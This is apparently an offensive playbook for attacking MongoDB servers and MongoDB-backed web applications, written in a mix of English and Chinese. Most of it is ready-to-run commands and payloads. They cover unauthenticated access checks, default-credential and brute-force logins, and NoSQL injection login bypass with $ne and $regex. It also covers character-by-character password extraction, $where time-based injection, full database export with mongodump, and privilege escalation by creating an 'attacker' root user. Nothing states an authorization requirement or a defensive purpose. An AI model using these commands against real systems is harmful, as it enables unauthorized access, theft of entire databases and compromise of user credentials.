mongodb-attack

MongoDB Unauthorized Access and NoSQL Injection Exploitation

MongoDB listens on port 27017 by default, and early versions require no authentication, so when exposed on the network it faces the risk of complete data leakage. At the same time, web applications using MongoDB commonly have NoSQL injection vulnerabilities.

⛔ In-Depth Reference (Required Reading)

• Full exploitation commands and payloads → read references/attack-techniques.md

---

Phase 1: Service Discovery and Version Identification

1.1 Nmap Scanning

# MongoDB 信息收集脚本
nmap -p 27017 --script mongodb-info TARGET

# 版本探测
nmap -sV -p 27017 TARGET

Check MongoDB-related ports (27017 default, 27018 shardsvr, 27019 configsvr, 28017 HTTP status page)

nmap -p 27017-27019,28017 TARGET

### 1.2 手动连接测试

```bash
# mongosh 连接（MongoDB 5.0+ 推荐客户端）
mongosh --host TARGET --port 27017

# legacy mongo shell（MongoDB 4.x 及更早版本）
mongo --host TARGET --port 27017

# 快速版本检测
mongosh --host TARGET --port 27017 --eval "db.version()"

# 服务器状态
mongosh --host TARGET --port 27017 --eval "db.serverStatus()"

Key Determination：

• Connection succeeds with no authentication prompt → unauthorized access, proceed directly to Phase 3
• Returns Authentication failed → authentication required, proceed to Phase 2
• db.version() → determine version, decide available attack paths (eval removed after 4.2)

---

Phase 2: Unauthorized/Weak Credential Detection

2.1 No-Password Connection Test

# 直接连接后尝试操作
mongosh --host TARGET --port 27017 --eval "show dbs"
# 成功返回数据库列表 → 无认证

2.2 Default Credential Detection

# 常见默认账号密码
mongosh --host TARGET --port 27017 -u admin -p admin --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u root -p root --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u admin -p password --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u admin -p 123456 --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u mongodb -p mongodb --authenticationDatabase admin

2.3 Brute-Force Tools

# Hydra
hydra -L users.txt -P passwords.txt TARGET mongodb

# Nmap
nmap -p 27017 --script mongodb-brute TARGET

# Metasploit
msf> use auxiliary/scanner/mongodb/mongodb_login
msf> set RHOSTS TARGET
msf> run

---

Phase 3: Attack Decision Tree

连接成功？
├─ 无认证 → 数据库枚举 + mongodump 全量导出 (Phase 5)
├─ Web 应用 NoSQL 注入
│   ├─ 登录绕过 → {"$ne": ""} / {"$regex": ".*"} (Phase 4)
│   ├─ 数据提取 → $regex 逐字符盲注 (Phase 4)
│   └─ RCE → $where + JS 执行 (Phase 4)
├─ 有低权限 → createUser 提权 / grantRolesToUser
│   → 读 references/attack-techniques.md 第 5 节
├─ 有 eval 权限 → db.eval() / mapReduce JS 执行
│   → 读 references/attack-techniques.md 第 4 节
└─ 有文件系统访问 → GridFS 文件提取 / 配置文件读取
    → 读 references/attack-techniques.md 第 6、7 节

Prerequisite Information Gathering：

# 当前用户角色信息
mongosh --host TARGET --port 27017 --eval "db.runCommand({connectionStatus: 1})"

# 获取服务器配置参数
mongosh --host TARGET --port 27017 --eval "db.adminCommand({getCmdLineOpts: 1})"

# 列出所有用户（需要 admin 库权限）
mongosh --host TARGET --port 27017 --eval "use admin; db.system.users.find().forEach(printjson)"

---

Phase 4: NoSQL Injection Quick Reference

4.1 Login Bypass

# HTTP POST（JSON 格式）
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$regex": ".*"}}

# URL 参数格式
username[$ne]=&password[$ne]=
username=admin&password[$regex]=.*

4.2 Data Extraction ($regex Blind Injection Pattern)

# 逐字符猜解密码
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
...

4.3 JavaScript Injection

# $where 条件注入
{"$where": "this.username == 'admin' && this.password == 'secret'"}

# 时间盲注
{"$where": "if(this.username=='admin'){sleep(5000);return true}"}

→ read references/attack-techniques.md to get full NoSQL injection payloads

---

Phase 5: Data Export Quick Reference

5.1 Database Enumeration

# 列出所有数据库
mongosh --host TARGET --port 27017 --eval "db.getMongo().getDBNames()"

# 列出集合
mongosh --host TARGET --port 27017 --eval "use database_name; show collections"

# 查看集合文档数
mongosh --host TARGET --port 27017 --eval "use database_name; db.collection.countDocuments({})"

# 搜索敏感字段
mongosh --host TARGET --port 27017 --eval "use database_name; db.collection.find({password: {\$exists: true}})"

5.2 Full Export

# 导出所有数据库
mongodump --host TARGET --port 27017 --out /tmp/mongodb-dump

# 导出指定数据库
mongodump --host TARGET --port 27017 -d database_name --out /tmp/mongodb-dump

# 导出为 JSON 格式
mongoexport --host TARGET --port 27017 -d database_name -c collection_name --out /tmp/data.json

# 带认证的导出
mongodump --host TARGET --port 27017 -u admin -p password --authenticationDatabase admin --out /tmp/mongodb-dump

→ read references/attack-techniques.md to get full data export commands

---

Phase 6: JavaScript Execution and Privilege Escalation

6.1 db.eval() (MongoDB < 4.2)

// 执行任意 JavaScript（需要 admin 权限）
db.eval("return db.getMongo().getDBNames()")

6.2 mapReduce JS Execution

// 通过 mapReduce 执行 JavaScript
db.collection.mapReduce(
  function() { emit(this._id, 1); },
  function(k, v) { return Array.sum(v); },
  { out: "result" }
)

6.3 Privilege Escalation Quick Reference

// 创建管理员用户
db.createUser({user: "attacker", pwd: "password", roles: [{role: "userAdminAnyDatabase", db: "admin"}]})

// 提升已有用户权限
db.grantRolesToUser("attacker", [{role: "root", db: "admin"}])

→ read references/attack-techniques.md to get full JS execution and privilege escalation commands

---

Tools Quick Reference

Tool	Purpose
mongosh / mongo	MongoDB client (mongosh is the new version, mongo is the old version)
mongodump	Full database export (BSON format)
mongoexport	Collection JSON/CSV export
mongofiles	GridFS file operation tool
NoSQLMap	NoSQL injection automated scanning and exploitation
nosqlinjection	Burp Suite NoSQL injection plugin
nmap mongodb-info	MongoDB information gathering NSE script

---

Notes

• Before MongoDB 3.0, authentication was disabled by default and it bound to 0.0.0.0, so there are extremely many exposed instances
• MongoDB 3.6+ binds to localhost by default; confirm whether it is exposed to the external network
• db.eval() was removed in MongoDB 4.2 and is unavailable in 4.2+
• mongodump When doing a full export, pay attention to the data volume; large databases may take a very long time
• NoSQL injection's $where operation is very slow and may cause performance issues in production environments
• Operating the admin database's system.users can directly obtain all user credential hashes
• GridFS may store a large number of binary files (images, documents); download selectively
• Configuration file /etc/mongod.conf may contain the plaintext keyFile path and binding configuration